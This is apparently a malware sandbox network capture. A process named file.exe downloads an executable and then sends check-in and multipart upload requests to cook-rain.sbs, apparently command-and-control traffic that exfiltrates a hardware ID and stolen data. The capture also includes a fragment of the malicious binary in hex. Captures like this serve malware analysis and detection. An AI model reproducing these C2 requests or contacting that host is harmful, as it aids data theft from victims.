Nov 16, 2024 20:12:33.346126080 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 19:12:33 GMT Content-Type: application/octet-stream Content-Length: 2791424 Last-Modified: Sat, 16 Nov 2024 19:00:31 GMT Connection: keep-alive ETag: "6738ebcf-2a9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c0 75 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+u+`Ui` @ @.rsrc`2@.idata 8@krtynbyi@6:@cpgjflov p@.taggant@+"v*@
Nov 16, 2024 20:12:33.346312046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346345901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346395969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346431017 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346462965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346497059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 20:12:33.346532106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: AQw)g%27J
Nov 16, 2024 20:12:33.346563101 CET	1236	IN	Data Raw: 67 f8 9a d5 d3 24 0d 7b e8 bd d9 b3 11 91 9b 63 2d a0 bd 8e f6 af ac 70 37 db 82 44 b0 a0 b4 95 3d af 96 19 37 dd 72 ca 35 41 81 01 7d db 98 b0 fb 66 5b ba 35 f4 17 8d 6e 94 9e fc 34 c0 84 23 f1 ae 04 f0 bb 06 e9 86 e2 a0 7e 7b 00 a0 04 d5 35 4d Data Ascii: g${c-p7D=7r5A}f[5n4#~{5M'0P#@~R@?%$y*/H fxP~\'$M2c:6?BTZDLo-thDI4;4oey:4
Nov 16, 2024 20:12:33.346600056 CET	848	IN	Data Raw: 38 08 7e 27 55 12 7f ca 56 fb 74 a1 3e 5a 7d 26 4d f1 b5 29 77 fc 50 1a 4a 00 e2 fb 35 da 79 10 4c 37 0c 1e 49 dc 6d bb c1 0d d2 ce 19 eb fa 1b 46 04 c0 d8 46 ef 85 c1 70 1f 54 26 57 19 5d 15 49 09 72 7a 2e e1 ea c8 ec fb 92 24 4d f8 87 1b 5c a4 Data Ascii: 8~'UVt>Z}&M)wPJ5yL7ImFFpT&W]Irz.$M\9CxQq_Q~OOQZ}TtHL9e&zFs*'7w!}{j:ya,6R;1]kP#K51ekN 4c$ C`ZNbHhdX/S{eadPdJvv{{{E}
Nov 16, 2024 20:12:33.351597071 CET	1236	IN	Data Raw: 2a f5 c2 32 55 ae 13 4d 57 a8 ec d3 02 58 01 ec 68 10 6f a9 a3 01 20 e6 30 26 29 3b 34 0d 1d 32 23 f6 47 15 b3 fc 1b 39 01 e4 27 36 b6 6c aa 50 bb dd 18 c9 17 c3 86 0b 56 a9 10 25 a0 ff 87 26 07 7d 9c 13 4d 08 64 d1 2b bd bc 18 e1 a4 90 02 29 ee Data Ascii: *2UMWXho 0&);42#G9'6lPV%&}Md+)]cC7H\|Bg$oL1J{4X'7Y^pb&42U+J o\^-2xFqc0@n[Y{]B]tG{%=^ai(lOg\|nY:zdRvX

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:09 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-16 19:12:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-16 19:12:10 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u4b2asbnh796q33mc8ou13lkah; expires=Wed, 12-Mar-2025 12:58:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKHSQXzZgePpG0qejiUXXURzues3JrA6uIhLbzwXrAnr%2BYHGCNjaq%2F3xtRpFo4l8k3hUeGy5ogDvLgEQEtkQS1u98NDKUhrdI%2BR%2Fn%2B48b8Mb3c7Bfm76ek0ivHEAjuM1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39ca7c4e374762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1187&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=2403319&cwnd=251&unsent_bytes=0&cid=903f895d65589d52&ts=771&x=0"
2024-11-16 19:12:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-16 19:12:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:10 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-16 19:12:10 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-16 19:12:12 UTC	1000	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=el138g4c1g295g1dlp4cbhrfb7; expires=Wed, 12-Mar-2025 12:58:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B0MXGtWK41OkiA28SwZYdsyEILGfvy1bArzaLglcrE5gdmWC6S3UdNXhmBgQvoyNzaQ8nKg2XUEsMqn3zIhK0UHbGLPwpWczzXws5Gr7JXQVObF3ZEdcFIn6a5dBdxN4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e39ca844febc871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1525&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1783251&cwnd=128&unsent_bytes=0&cid=2e792408e67bb15c&ts=2121&x=0"
2024-11-16 19:12:12 UTC	369	IN	Data Raw: 34 64 61 0d 0a 79 37 49 53 75 66 41 69 75 50 32 38 32 66 5a 69 41 4c 45 58 6f 55 57 4c 67 43 34 70 63 4b 6f 46 4d 4f 65 2b 41 54 37 4f 70 49 6d 77 6b 47 53 62 79 68 61 55 33 38 2b 38 31 46 68 30 77 32 4c 45 61 61 6e 68 53 67 74 4b 7a 47 52 63 6c 4e 73 74 48 4c 6a 4a 71 2f 48 55 63 39 57 44 52 35 54 66 32 61 48 55 57 46 76 4b 4e 63 51 72 71 62 6f 4d 54 42 72 49 5a 46 79 46 33 32 70 52 76 73 6a 71 6f 39 35 31 30 5a 56 42 33 4a 7a 51 74 4a 4d 48 5a 64 42 39 7a 79 7a 6d 36 45 4d 4c 58 49 68 67 53 73 57 45 49 33 4f 72 30 4f 69 47 30 32 48 53 30 6c 2b 55 68 70 36 38 6d 45 41 36 6b 33 62 45 4a 2b 66 6d 53 6b 49 59 77 6d 31 55 68 4e 70 72 54 71 66 43 34 61 50 51 64 74 43 66 53 4d 69 52 32 72 4f 59 41 57 2f 51 4e 59 31 6e 37 76 6f 4d 45 31 4b 62 56 56 47 55 7a 58 Data Ascii: 4day7ISufAiuP282fZiALEXoUWLgC4pcKoFMOe+AT7OpImwkGSbyhaU38+81Fh0w2LEaanhSgtKzGRclNstHLjJq/HUc9WDR5Tf2aHUWFvKNcQrqboMTBrIZFyF32pRvsjqo9510ZVB3JzQtJMHZdB9zyzm6EMLXIhgSsWEI3Or0OiG02HS0l+Uhp68mEA6k3bEJ+fmSkIYwm1UhNprTqfC4aPQdtCfSMiR2rOYAW/QNY1n7voME1KbVVGUzX
2024-11-16 19:12:12 UTC	880	IN	Data Raw: 36 65 39 47 52 42 48 49 59 46 69 50 30 32 6c 59 6f 63 76 74 71 64 41 77 6c 64 4a 48 77 74 2b 47 2b 37 63 46 63 74 52 35 31 57 58 54 6f 6c 4d 46 43 34 68 67 58 73 57 45 49 31 53 70 78 65 69 69 33 33 50 54 6d 56 4c 61 6a 64 69 32 6b 52 4a 6b 31 6e 76 4a 4a 50 76 6f 51 6b 30 52 77 57 78 62 67 4e 74 6e 48 4f 4b 47 37 4c 47 51 4b 4a 75 7a 54 64 47 54 31 4b 79 55 51 48 32 64 62 49 4d 67 35 61 49 55 43 78 62 4a 59 31 4f 42 30 6d 31 59 6f 4d 44 6c 70 4e 39 32 30 5a 4a 48 30 4a 66 57 75 70 6b 4c 62 64 4e 77 7a 69 50 76 37 6b 31 4f 55 6f 59 6e 56 5a 32 63 4f 78 79 43 77 65 69 37 6b 6b 58 59 6e 45 37 64 69 5a 36 6b 32 68 6b 69 31 48 6d 44 66 36 6e 73 53 55 51 41 79 58 56 58 69 38 35 76 57 61 72 4c 36 4b 66 51 64 64 79 66 54 74 79 59 33 62 4f 51 41 57 7a 66 66 38 41 Data Ascii: 6e9GRBHIYFiP02lYocvtqdAwldJHwt+G+7cFctR51WXTolMFC4hgXsWEI1Spxeii33PTmVLajdi2kRJk1nvJJPvoQk0RwWxbgNtnHOKG7LGQKJuzTdGT1KyUQH2dbIMg5aIUCxbJY1OB0m1YoMDlpN920ZJH0JfWupkLbdNwziPv7k1OUoYnVZ2cOxyCwei7kkXYnE7diZ6k2hki1HmDf6nsSUQAyXVXi85vWarL6KfQddyfTtyY3bOQAWzff8A
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 31 30 34 31 0d 0a 2b 57 54 64 57 57 31 37 4b 47 43 6d 37 64 5a 38 34 74 37 4f 78 41 54 68 33 49 5a 6c 4f 4c 31 6d 67 63 34 6f 62 73 73 5a 41 6f 6d 37 31 4e 79 6f 33 55 73 49 56 43 56 39 42 37 7a 53 44 2f 6f 6c 4d 46 43 34 68 67 58 73 57 45 49 31 65 71 79 75 65 70 31 6d 4c 56 6e 56 4c 51 6a 64 71 31 6b 41 78 73 32 6e 6a 4d 49 76 76 6d 54 46 6b 54 7a 57 42 63 69 4d 35 6d 48 4f 4b 47 37 4c 47 51 4b 4a 75 6f 64 4e 32 50 7a 37 7a 57 4e 57 48 64 65 38 51 78 71 66 30 43 55 6c 4c 50 61 78 4c 64 6e 47 42 51 6f 63 2f 75 70 73 4a 36 31 35 4e 53 33 5a 62 58 73 5a 55 4f 62 64 68 35 78 6a 58 69 37 55 52 45 45 38 56 71 57 59 48 63 49 78 4c 73 77 66 50 70 69 44 44 36 6e 30 2f 49 6e 4d 2f 35 6f 51 4e 73 33 58 4c 56 5a 2f 61 73 56 51 73 56 78 43 63 4b 78 64 31 76 55 4b 33 Data Ascii: 1041+WTdWW17KGCm7dZ84t7OxATh3IZlOL1mgc4obssZAom71Nyo3UsIVCV9B7zSD/olMFC4hgXsWEI1eqyuep1mLVnVLQjdq1kAxs2njMIvvmTFkTzWBciM5mHOKG7LGQKJuodN2Pz7zWNWHde8Qxqf0CUlLPaxLdnGBQoc/upsJ615NS3ZbXsZUObdh5xjXi7UREE8VqWYHcIxLswfPpiDD6n0/InM/5oQNs3XLVZ/asVQsVxCcKxd1vUK3
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 33 66 51 6d 55 54 65 6e 39 4f 77 6d 67 35 72 33 33 33 50 49 50 76 76 53 55 4d 59 77 57 4a 65 69 4e 39 78 58 36 32 47 70 65 6e 58 61 4a 76 4b 41 50 32 73 36 5a 6a 55 48 79 7a 4b 4e 63 51 72 71 62 6f 4d 53 68 72 50 61 56 61 58 30 6e 46 53 71 38 62 74 6f 64 68 33 31 35 78 4f 79 4a 66 66 75 35 6f 50 61 74 70 78 77 69 50 74 37 6b 73 4c 58 49 68 67 53 73 57 45 49 33 53 76 33 50 48 72 2f 6e 76 62 6c 56 44 4d 68 4a 36 6b 32 68 6b 69 31 48 6d 44 66 36 6e 6d 52 30 45 62 79 32 35 57 69 4e 78 71 55 36 58 4f 35 71 48 43 63 64 47 41 52 4e 2b 65 30 62 47 51 43 47 37 63 65 63 63 31 34 71 49 43 43 78 58 51 4a 77 72 46 2f 47 68 4b 6a 39 54 35 36 63 38 2b 77 74 4a 48 31 74 2b 47 2b 35 30 4d 59 39 4a 2f 78 53 7a 73 37 30 78 4f 47 4d 39 72 55 6f 58 66 5a 56 71 68 7a 75 4f 6c Data Ascii: 3fQmUTen9Owmg5r333PIPvvSUMYwWJeiN9xX62GpenXaJvKAP2s6ZjUHyzKNcQrqboMShrPaVaX0nFSq8btodh315xOyJffu5oPatpxwiPt7ksLXIhgSsWEI3Sv3PHr/nvblVDMhJ6k2hki1HmDf6nmR0Eby25WiNxqU6XO5qHCcdGARN+e0bGQCG7cecc14qICCxXQJwrF/GhKj9T56c8+wtJH1t+G+50MY9J/xSzs70xOGM9rUoXfZVqhzuOl
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 31 46 30 70 54 59 74 5a 55 47 62 74 34 31 6a 57 66 75 2b 67 77 54 55 75 39 39 58 34 50 4c 63 6d 6d 72 78 72 72 70 7a 7a 37 43 30 6b 66 57 33 34 62 37 6d 51 78 6f 33 6e 44 48 4c 2b 37 68 54 55 63 57 78 57 70 57 6a 4e 68 6d 54 72 37 41 35 61 6e 66 66 74 53 65 55 74 53 61 33 72 66 55 54 69 4c 55 62 59 4e 2f 71 64 4e 62 53 31 4c 58 4b 55 76 46 32 32 38 63 39 49 62 6b 70 4d 4a 38 31 4a 4a 42 32 5a 76 56 76 4a 49 47 59 39 42 77 77 43 4c 76 34 30 78 48 47 4d 39 76 57 49 76 52 5a 56 69 71 77 4b 76 6e 6b 48 66 44 30 68 69 61 72 64 4f 31 6e 51 4e 6b 33 6d 50 72 46 71 6e 39 41 6c 4a 53 7a 32 73 53 33 5a 78 6e 56 36 54 4b 37 71 48 56 63 64 4f 59 53 4e 57 51 7a 4c 71 62 43 57 58 59 65 4d 77 70 37 4f 78 65 54 42 6e 44 62 31 75 4c 32 69 4d 53 37 4d 48 7a 36 59 67 77 37 Data Ascii: 1F0pTYtZUGbt41jWfu+gwTUu99X4PLcmmrxrrpzz7C0kfW34b7mQxo3nDHL+7hTUcWxWpWjNhmTr7A5anfftSeUtSa3rfUTiLUbYN/qdNbS1LXKUvF228c9IbkpMJ81JJB2ZvVvJIGY9BwwCLv40xHGM9vWIvRZViqwKvnkHfD0hiardO1nQNk3mPrFqn9AlJSz2sS3ZxnV6TK7qHVcdOYSNWQzLqbCWXYeMwp7OxeTBnDb1uL2iMS7MHz6Ygw7
2024-11-16 19:12:13 UTC	62	IN	Data Raw: 59 31 72 2b 61 45 6d 50 63 4e 59 31 6e 37 76 6f 4d 45 31 4c 35 63 56 57 43 30 79 46 31 71 39 33 71 6f 39 4e 37 31 39 4a 66 6c 49 61 65 76 4a 68 41 4f 70 4e 34 7a 79 72 74 38 45 42 0d 0a Data Ascii: Y1r+aEmPcNY1n7voME1L5cVWC0yF1q93qo9N719JflIaevJhAOpN4zyrt8EB
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 31 38 61 32 0d 0a 4c 45 73 46 67 57 4a 66 54 62 46 47 76 78 75 36 37 30 57 4c 55 6d 55 58 5a 6d 39 47 30 6d 41 68 6f 6b 7a 75 44 49 50 47 69 46 41 73 2b 79 33 5a 59 78 2f 74 35 53 71 76 4b 2b 71 4c 64 66 4a 75 4e 44 73 50 66 32 62 66 55 57 43 4c 54 64 4d 34 31 37 4f 4e 47 51 52 2f 41 61 46 65 41 30 32 64 59 70 38 6a 35 70 39 39 77 33 5a 6c 42 33 35 7a 56 73 5a 6f 4a 63 4a 4d 37 67 79 44 78 6f 68 51 4c 4f 4e 4e 6d 58 34 6d 65 54 56 65 36 77 61 6d 49 33 6e 76 63 6e 6c 61 61 67 4a 43 69 31 41 64 75 6b 79 32 44 4c 75 66 75 54 30 77 61 77 47 4a 53 6a 74 78 73 56 71 4c 42 2b 61 50 63 65 73 6d 64 51 39 65 62 30 37 47 52 43 58 44 57 66 4d 56 6e 70 36 4a 4c 55 31 4b 51 4a 32 71 4f 30 6c 46 66 74 34 62 30 35 38 6b 77 33 4a 34 41 67 74 2f 64 76 4a 63 42 61 4e 70 35 Data Ascii: 18a2LEsFgWJfTbFGvxu670WLUmUXZm9G0mAhokzuDIPGiFAs+y3ZYx/t5SqvK+qLdfJuNDsPf2bfUWCLTdM417ONGQR/AaFeA02dYp8j5p99w3ZlB35zVsZoJcJM7gyDxohQLONNmX4meTVe6wamI3nvcnlaagJCi1Aduky2DLufuT0wawGJSjtxsVqLB+aPcesmdQ9eb07GRCXDWfMVnp6JLU1KQJ2qO0lFft4b058kw3J4Agt/dvJcBaNp5
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 49 43 43 78 58 51 4a 77 72 46 37 6d 6c 66 6f 4e 44 6d 70 70 42 76 6c 59 73 41 33 5a 4f 65 34 39 51 53 63 4e 4e 2b 77 79 44 6e 38 45 31 44 48 63 4a 6e 56 49 37 57 59 46 57 6f 79 4f 4b 76 30 58 33 61 6b 30 44 66 6e 39 65 70 6d 55 41 73 6b 33 4c 62 5a 37 47 69 65 30 63 5a 2b 57 52 45 78 63 4d 74 52 65 7a 42 35 2b 6d 49 4d 4e 71 41 54 64 4b 62 33 72 61 53 43 32 50 53 64 73 4d 6e 36 75 4a 4a 51 42 33 4f 59 46 2b 50 31 57 70 4f 70 4d 4c 35 71 64 78 30 6d 39 77 41 33 59 65 65 34 39 51 77 59 64 68 35 77 79 72 38 6f 6c 4d 46 43 34 68 67 58 73 57 45 49 31 53 6e 7a 65 32 69 30 33 50 56 6d 55 72 56 6b 4e 53 39 6b 67 68 6e 30 33 6e 44 49 75 2f 6d 53 45 55 56 78 6d 70 54 6c 39 39 71 48 4f 4b 47 37 4c 47 51 4b 4a 75 79 53 38 79 61 32 61 33 57 4e 57 48 64 65 38 51 78 71 Data Ascii: ICCxXQJwrF7mlfoNDmppBvlYsA3ZOe49QScNN+wyDn8E1DHcJnVI7WYFWoyOKv0X3ak0Dfn9epmUAsk3LbZ7Gie0cZ+WRExcMtRezB5+mIMNqATdKb3raSC2PSdsMn6uJJQB3OYF+P1WpOpML5qdx0m9wA3Yee49QwYdh5wyr8olMFC4hgXsWEI1Snze2i03PVmUrVkNS9kghn03nDIu/mSEUVxmpTl99qHOKG7LGQKJuyS8ya2a3WNWHde8Qxq
2024-11-16 19:12:13 UTC	1369	IN	Data Raw: 41 69 44 38 53 77 74 39 78 54 71 72 46 2f 61 71 58 54 75 57 79 53 39 61 63 30 72 71 54 51 43 79 54 65 6f 4e 2f 30 4b 4a 50 57 51 43 48 64 6b 53 49 7a 47 51 51 70 4e 66 6d 70 5a 41 2b 6d 39 35 45 30 5a 50 62 76 49 52 50 63 4d 4e 2b 7a 7a 47 6c 35 6c 34 4c 58 49 68 32 57 59 72 4f 62 56 76 6a 31 2f 32 6b 77 48 50 65 6c 51 7a 53 6a 74 4f 33 31 45 34 69 78 6e 37 50 49 65 54 33 41 31 6f 45 79 33 46 56 79 64 52 79 55 61 43 47 31 4f 65 51 61 4a 76 4b 41 4f 2b 63 30 4c 57 54 46 6e 4f 65 56 63 67 72 36 75 35 4e 54 46 4b 47 4a 31 54 46 68 44 41 53 37 4d 4c 36 36 59 67 67 69 63 6b 56 69 63 69 4f 36 59 74 4f 65 35 4e 6a 67 33 2b 37 72 41 78 5a 55 70 41 6e 46 59 62 4f 63 56 71 76 30 4f 6a 75 37 6b 37 61 6e 30 2b 57 6b 64 57 37 6b 78 42 30 79 44 6e 4c 4a 50 50 34 63 6e Data Ascii: AiD8Swt9xTqrF/aqXTuWyS9ac0rqTQCyTeoN/0KJPWQCHdkSIzGQQpNfmpZA+m95E0ZPbvIRPcMN+zzGl5l4LXIh2WYrObVvj1/2kwHPelQzSjtO31E4ixn7PIeT3A1oEy3FVydRyUaCG1OeQaJvKAO+c0LWTFnOeVcgr6u5NTFKGJ1TFhDAS7ML66YggickViciO6YtOe5Njg3+7rAxZUpAnFYbOcVqv0Oju7k7an0+WkdW7kxB0yDnLJPP4cn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.96.3	443	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:12:14 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NGD375PK7L8W9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18139 Host: cook-rain.sbs
2024-11-16 19:12:14 UTC	15331	OUT	Data Raw: 2d 2d 4e 47 44 33 37 35 50 4b 37 4c 38 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 32 39 30 44 39 32 32 37 46 30 37 32 44 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4e 47 44 33 37 35 50 4b 37 4c 38 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 47 44 33 37 35 50 4b 37 4c 38 57 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 47 44 33 37 Data Ascii: --NGD375PK7L8W9Content-Disposition: form-data; name="hwid"ECD290D9227F072DF7005D7B20127A88--NGD375PK7L8W9Content-Disposition: form-data; name="pid"2--NGD375PK7L8W9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NGD37
2024-11-16 19:12:14 UTC	2808	OUT	Data Raw: f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 4d 6d b7 df b2 9f ab 08 69 99 b1 aa c5 3d Data Ascii: ntFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?lMmi=
2024-11-16 19:12:15 UTC	1003	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=70v4v489a74606vindd5as8n3a; expires=Wed, 12-Mar-2025 12:58:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TJ3S3hpVBnVBmGxvgXKB4TYLRWYCjHf3mI3SoVJ2up5noJVVvMdLqZbdN8a7JTAE5fEJrIEEW1TpA58agMi4p8a7FKrtDC4%2BP4yE5b8qD4dkcnGwgaRAFHqWNFRc9eE3"}],"group":"cf-nel","max_age":604800} NEL: 